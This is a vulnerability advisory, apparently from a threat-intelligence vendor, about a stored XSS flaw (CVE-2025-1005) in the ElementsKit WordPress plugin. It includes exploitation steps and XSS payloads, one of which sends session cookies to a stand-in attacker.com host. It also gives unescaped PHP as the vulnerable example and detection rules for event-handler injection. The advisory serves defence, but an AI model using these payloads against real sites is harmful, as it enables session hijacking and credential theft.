CVE-2025-1005
Executive Summary
CVE-2025-1005 is a Stored Cross-Site Scripting (XSS) vulnerability in the ElementsKit Elementor addons plugin for WordPress, affecting all versions up to and including 3.4.0. The flaw resides in the plugin's Image Accordion widget, where user-supplied attributes are not properly sanitized or escaped. An authenticated attacker with contributor-level access or higher can inject arbitrary web scripts that execute when any user visits the compromised page. This vulnerability is part of the WordPress ecosystem and does not involve Apache or Nginx directly.
Key Risk: The vulnerability allows persistent JavaScript execution, enabling session hijacking, credential theft, or defacement. The CVSS score of 6.4 (Medium) reflects the need for authentication but the potential for widespread impact within a WordPress site.
Supply Chain & Package Security: This is a WordPress plugin vulnerability. The plugin is distributed via the official WordPress plugin repository and third-party marketplaces. Users should verify the integrity of their plugin files and monitor for updates from the vendor.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
- Base Score: 6.4 (Medium)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: Low (PR:L) – requires contributor-level access
- User Interaction: Required (UI:R) – victim must visit the page
- Scope: Changed (S:C) – the injected script can affect resources beyond the vulnerable component
- Confidentiality Impact: Low (C:L)
- Integrity Impact: Low (I:L)
- Availability Impact: Low (A:L)
Threat Level: Medium. The requirement for authenticated access reduces the attack surface, but the stored nature of the XSS means any user (including admins) visiting the page is at risk.
Deep Dive & Mechanics
The vulnerability exists in the Image Accordion widget of the ElementsKit plugin. The widget allows users to add images with custom attributes (e.g., title, alt, data-*). The plugin fails to sanitize these attributes before storing them in the database and later rendering them in the HTML output.
Root Cause: Insufficient input sanitization and output escaping on user-supplied attributes. Specifically, the plugin does not filter out JavaScript event handlers (e.g., onmouseover, onclick) or other XSS vectors from attribute values.
Attack Flow:
- An attacker with contributor-level access creates or edits a page/post.
- The attacker adds the Image Accordion widget and sets a malicious attribute value, such as:
" onmouseover="alert('XSS') - The plugin stores this value without sanitization.
- When any user (including admins) visits the page, the browser interprets the injected attribute, executing the JavaScript.
Impact: The attacker can steal session cookies, redirect users to malicious sites, or perform actions on behalf of the victim.
Vulnerable vs. Patched Code
Vulnerable Code (ElementsKit <= 3.4.0):
The widget likely uses a function like esc_attr() incorrectly or not at all. A simplified vulnerable example:
echo '<div class="ekit-image-accordion-item" data-title="' . $attributes['title'] . '">';
Here, $attributes['title'] is not sanitized, allowing injection of " onmouseover="alert(1).
Patched Code (Hypothetical): The fix would involve proper escaping:
echo '<div class="ekit-image-accordion-item" data-title="' . esc_attr($attributes['title']) . '">';
Additionally, the plugin should use wp_kses() or similar functions to strip dangerous attributes.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- WordPress site with ElementsKit plugin <= 3.4.0
- Contributor-level account or higher
Exploit Steps:
- Log in as a contributor.
- Create a new page or edit an existing one.
- Add the Image Accordion widget.
- In the widget settings, locate an attribute field (e.g., "Title" or "Alt Text").
- Inject the following payload:
" onmouseover="alert(document.cookie) - Save/publish the page.
- When any user hovers over the image, the XSS triggers.
Alternative Payload (Steal Cookies):
" onfocus="fetch('https://attacker.com/steal?cookie='+document.cookie)" autofocus="
Blue Team (Detection & Hardening)
Detection:
- Monitor for unusual attribute values in page content, especially event handlers like
onmouseover,onclick,onfocus. - Use Web Application Firewall (WAF) rules to block requests containing
on*=patterns in POST data.
Hardening:
- Apply the principle of least privilege: restrict contributor-level access to trusted users only.
- Use a WordPress security plugin that adds Content Security Policy (CSP) headers.
- Regularly audit plugin code for unsanitized outputs.
Indicators of Compromise (IOCs)
- File System: Modified plugin files in
/wp-content/plugins/elementskit/(unlikely, as the vulnerability is stored in the database). - Database: Entries in
wp_postsorwp_postmetacontaining JavaScript event handlers in widget attributes. - Network: Outbound requests to attacker-controlled domains from the WordPress server (if payload exfiltrates data).
- Logs: WordPress debug logs showing unexpected attribute values.
Detection Engineering
YARA Rule
rule Detect_ElementsKit_XSS_Attribute {
meta:
description = "Detects malicious attribute injection in ElementsKit Image Accordion widget"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-1005"
strings:
$xss_payload = / on\w+\s*=\s*["'][^"']*["']/ nocase
$elementskit_ref = /elementskit/i
condition:
$elementskit_ref and $xss_payload
}
Sigma Rule
title: ElementsKit Image Accordion Stored XSS
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects stored XSS via malicious attributes in ElementsKit plugin
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: wordpress
detection:
selection:
http.method: POST
http.url|contains: /wp-admin/admin-ajax.php
http.body|contains|all:
- 'action=elementskit'
- 'onmouseover'
- 'onclick'
condition: selection
falsepositives:
- Legitimate use of event handlers (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-1005 ElementsKit Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"onmouseover"; http_client_body; content:"onclick"; http_client_body; classtype:web-application-attack; sid:1000005; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the ElementsKit plugin until a patch is released.
- Review and clean any existing pages/posts that use the Image Accordion widget for malicious content.
- Change all user passwords if compromise is suspected.
Long-Term Fixes:
- The vendor must release a patched version (>= 3.4.1) that properly sanitizes and escapes user input.
- Implement a Web Application Firewall (WAF) with rules to block XSS payloads.
- Enforce Content Security Policy (CSP) headers to mitigate script execution.
Workaround:
- Restrict contributor-level access to only trusted users.
- Use a WordPress security plugin that monitors for suspicious content changes.
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.